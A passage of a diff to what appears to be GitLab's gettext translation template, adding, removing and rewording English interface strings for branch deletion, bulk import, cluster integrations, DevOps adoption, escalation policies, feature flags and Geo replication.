+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5746,6 +5851,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5758,6 +5866,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5767,6 +5878,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5788,12 +5905,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5827,6 +5950,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5839,6 +5965,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5908,6 +6046,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5920,9 +6061,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5989,9 +6136,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -6040,15 +6184,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -6061,6 +6205,9 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6754,7 +6901,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -7138,72 +7285,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7366,6 +7447,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -7408,12 +7495,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7576,6 +7657,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7660,9 +7744,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7723,7 +7804,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7819,9 +7900,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7834,9 +7912,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7933,9 +8008,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -8074,9 +8146,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -8089,9 +8158,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -8365,6 +8431,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8512,6 +8587,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8650,9 +8728,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8773,6 +8848,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8836,6 +8914,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -9001,6 +9082,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9685,9 +9769,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9718,9 +9799,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9772,6 +9850,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9823,6 +9904,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9856,6 +9940,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -10183,27 +10270,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -10432,9 +10498,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10654,9 +10726,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -11026,6 +11095,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11770,22 +11842,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
+msgstr ""
+
+msgid "DevopsAdoption|At least one approval on an MR"
+msgstr ""
+
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|Code owners"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11794,6 +11872,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11821,6 +11902,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11842,6 +11926,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11854,21 +11941,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11935,15 +12034,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11971,6 +12070,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -12202,7 +12304,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -12217,6 +12319,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12226,9 +12346,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -12343,9 +12460,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -12400,6 +12514,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12529,13 +12646,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12613,6 +12730,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12658,9 +12778,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12682,9 +12799,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -13354,9 +13468,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -13369,12 +13480,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -13483,6 +13600,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13544,7 +13709,13 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -14191,6 +14362,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -14215,9 +14389,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -14245,9 +14416,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -14266,9 +14434,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -14311,9 +14476,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -14329,7 +14491,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14584,6 +14746,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14689,6 +14860,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14707,6 +14881,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14734,6 +14911,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -15001,6 +15187,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -15028,6 +15217,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -15055,6 +15247,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -15079,6 +15274,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -15106,6 +15304,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -15151,6 +15352,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -15163,10 +15367,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -15331,6 +15541,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -15343,10 +15559,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15592,9 +15811,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15691,16 +15907,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15733,9 +15952,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15790,6 +16006,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15868,7 +16087,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15982,6 +16201,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -16042,6 +16264,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -16063,13 +16288,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -16132,6 +16360,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -16450,9 +16681,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
